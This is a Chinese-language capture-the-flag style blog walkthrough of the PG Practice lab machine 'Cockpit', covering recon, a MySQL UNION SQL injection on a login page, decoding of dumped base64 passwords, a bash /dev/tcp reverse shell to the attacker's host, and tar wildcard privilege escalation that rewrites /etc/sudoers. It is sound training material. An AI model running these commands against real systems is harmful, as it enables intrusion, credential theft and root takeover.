iT邦幫忙

2025 iThome 鐵人賽

DAY 7
0
Security

滲透探險 30 天:靶機挑戰記系列 第 7

PG Practice: Cockpit 攻略

  • 分享至 

  • xImage
  •  

Recon

先來看看這臺靶機上面開啟了什麼樣的服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.152.10 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.152.10 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.152.10 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.152.10 -type recon;

https://ithelp.ithome.com.tw/upload/images/20250920/20178791t7VGkeYXig.png
發現有 port 80 開啟以後,接著就是來尋找有沒有隱藏的網頁或目錄
這邊我們發現有一個網頁叫做 login.php

ffuf -w ~/Arsenal/Wordlists/combined_dir_wordlist.txt -u http://cockpit/FUZZ -e ,.pdf,.config,.php,.txt,.html,.zip  > ffuf_combined_cockpit_.txt |tee 

https://ithelp.ithome.com.tw/upload/images/20250920/20178791NcAkfmkk3V.png

http://cockpit/login.php 既然找到了登錄網頁,我們就來試試看一些預設的帳號密碼,比如說 admin:admin
https://ithelp.ithome.com.tw/upload/images/20250920/20178791AIpzP1cDEp.png

http://cockpit/blocked.html 這邊看來假如輸入的帳號密碼是錯的,會把我們導入到一個block的頁面
https://ithelp.ithome.com.tw/upload/images/20250920/20178791kDwTJCNbyq.png

像這種登錄頁面除了預設的帳號密碼以外,另外一個很有可能會有的就是 SQL injection 的弱點
通常我們會先用 " ' " 下去試看看,然後就有機會看到 sql error 的字眼
https://ithelp.ithome.com.tw/upload/images/20250920/20178791KbVKvZpCrY.png

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#mysql-testing-injection 這個網站上面有很多的 payload 可以用
當 SQL injection 成功注入以後我們會拿到 James 跟 cameron 的密碼 hash 值

admin' UNION SELECT 1,2,3,concat(schema_name),5 FROM information_schema.schemata#

james Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=
cameron dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy
https://ithelp.ithome.com.tw/upload/images/20250920/20178791Z94QR934pN.png

將 Hash 值做 decode 以後,我們可以拿到兩組密碼

echo Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI= | base64 -d
echo dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy |base64 -d 

https://ithelp.ithome.com.tw/upload/images/20250920/20178791WtC4Ly4CRg.png
https://ithelp.ithome.com.tw/upload/images/20250920/2017879172P1siFbLH.png
這兩組帳號密碼並不是給 Port 80 上面的服務使用,在我們做掃描的時候有發現另外一個服務開在 Port 9090 上面
讓我們用這兩組帳號密碼登錄看看 https://cockpit:9090/
https://ithelp.ithome.com.tw/upload/images/20250920/20178791VOS23EiO1P.png
https://ithelp.ithome.com.tw/upload/images/20250920/20178791cuq8iCJ6Yp.png

Initial Access

利用 James 的密碼登入以後,我們可以在後台上面找到 command console
https://ithelp.ithome.com.tw/upload/images/20250920/20178791578NCSnb0i.png

利用這個 command console 執行一個 reverse shell 連回我們的 kali

/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.164/80 0>&1'

https://ithelp.ithome.com.tw/upload/images/20250920/20178791kDcqPOeoey.png
拿到我們的第一個flag
https://ithelp.ithome.com.tw/upload/images/20250920/20178791gcUQHwsWFv.png

Privilege Escalation

接著我們發現 James 可以利用 root 的權限執行任意檔案壓縮
https://ithelp.ithome.com.tw/upload/images/20250920/2017879184Eegbf3wI.png

利用 Wildcard 做提權是一個非常有趣的技巧,可以參考這篇文章 https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa

echo "echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers" > privesc.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh privesc.sh'

https://ithelp.ithome.com.tw/upload/images/20250920/20178791xAFQBwCh6g.png

當我們把利用 root 的權限讓 James 順利加入 sudoers 並且讓他可以使用所有 root 命令後順利提權!

sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *

https://ithelp.ithome.com.tw/upload/images/20250920/20178791UnMOmN2I3U.png
轉化為 root 的身份以後,順利拿到第2個 flag
真是有趣的靶機~

sudo su

https://ithelp.ithome.com.tw/upload/images/20250920/20178791iGc0NLD7Gn.png


上一篇
PG Practice: Clue 攻略
下一篇
PG Practice: Pebbles 攻略
系列文
滲透探險 30 天:靶機挑戰記9
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言